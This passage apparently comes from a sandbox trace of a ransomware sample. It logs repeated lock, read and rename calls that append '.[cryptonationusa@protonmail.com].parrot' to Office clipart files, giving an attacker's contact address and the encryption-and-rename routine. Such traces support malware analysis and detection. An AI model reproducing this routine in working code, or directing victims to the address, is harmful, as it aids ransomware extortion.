| out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2a0, lpOverlapped=0x0) returned 1 [0146.423] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.423] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3b8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.423] CloseHandle (hObject=0x27c) returned 1 [0146.424] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.427] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2100, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.427] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.428] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.429] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.430] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1fe8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1fe8, lpOverlapped=0x0) returned 1 [0146.472] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.473] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2100, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.473] CloseHandle (hObject=0x27c) returned 1 [0146.473] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.524] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x492e, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.524] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.524] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.526] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.526] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4816, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4816, lpOverlapped=0x0) returned 1 [0146.527] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.527] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x492e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.527] CloseHandle (hObject=0x288) returned 1 [0146.528] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.536] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7d68, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.536] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.536] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.537] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.537] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7c50, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7c50, lpOverlapped=0x0) returned 1 [0146.538] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.540] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7d68, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.540] CloseHandle (hObject=0x288) returned 1 [0146.540] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.546] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x10fc, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.546] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.546] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.549] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.549] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfe4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xfe4, lpOverlapped=0x0) returned 1 [0146.550] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.550] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x10fc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.550] CloseHandle (hObject=0x288) returned 1 [0146.550] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.554] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe18, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.554] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.554] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.558] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.558] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd00, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd00, lpOverlapped=0x0) returned 1 [0146.558] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.558] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.558] CloseHandle (hObject=0x288) returned 1 [0146.559] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.562] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.562] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.562] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.565] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.565] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8e0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8e0, lpOverlapped=0x0) returned 1 [0146.565] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.565] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.565] CloseHandle (hObject=0x288) returned 1 [0146.566] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.569] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf2c, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.569] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.569] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.571] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.571] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe14, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe14, lpOverlapped=0x0) returned 1 [0146.571] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.572] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf2c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.572] CloseHandle (hObject=0x288) returned 1 [0146.572] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.576] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x18dc, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.576] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.576] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.577] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.578] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x17c4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x17c4, lpOverlapped=0x0) returned 1 [0146.579] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.579] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18dc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.579] CloseHandle (hObject=0x288) returned 1 [0146.579] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.584] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe40, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.584] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.584] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.585] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.585] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd28, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd28, lpOverlapped=0x0) returned 1 [0146.586] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.586] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe40, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.586] CloseHandle (hObject=0x288) returned 1 [0146.586] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.590] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd8c, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.590] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.590] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.592] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.592] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc74, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc74, lpOverlapped=0x0) returned 1 [0146.592] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.592] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd8c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.592] CloseHandle (hObject=0x288) returned 1 [0146.593] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.643] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe04, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.643] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.644] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.880] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.880] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcec, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcec, lpOverlapped=0x0) returned 1 [0146.880] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.881] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe04, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.881] CloseHandle (hObject=0x288) returned 1 [0146.881] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.900] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcf0, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.900] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.900] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.938] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.938] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbd8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xbd8, lpOverlapped=0x0) returned 1 [0146.938] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.938] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcf0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.938] CloseHandle (hObject=0x288) returned 1 [0146.939] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.943] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa60, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.943] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.943] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.945] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.945] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x948, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x948, lpOverlapped=0x0) returned 1 [0146.945] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.945] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa60, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.946] CloseHandle (hObject=0x288) returned 1 [0146.946] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.950] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd9c, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.950] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.950] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.952] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.952] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc84, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc84, lpOverlapped=0x0) returned 1 [0146.952] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.952] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd9c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.952] CloseHandle (hObject=0x288) returned 1 [0146.952] 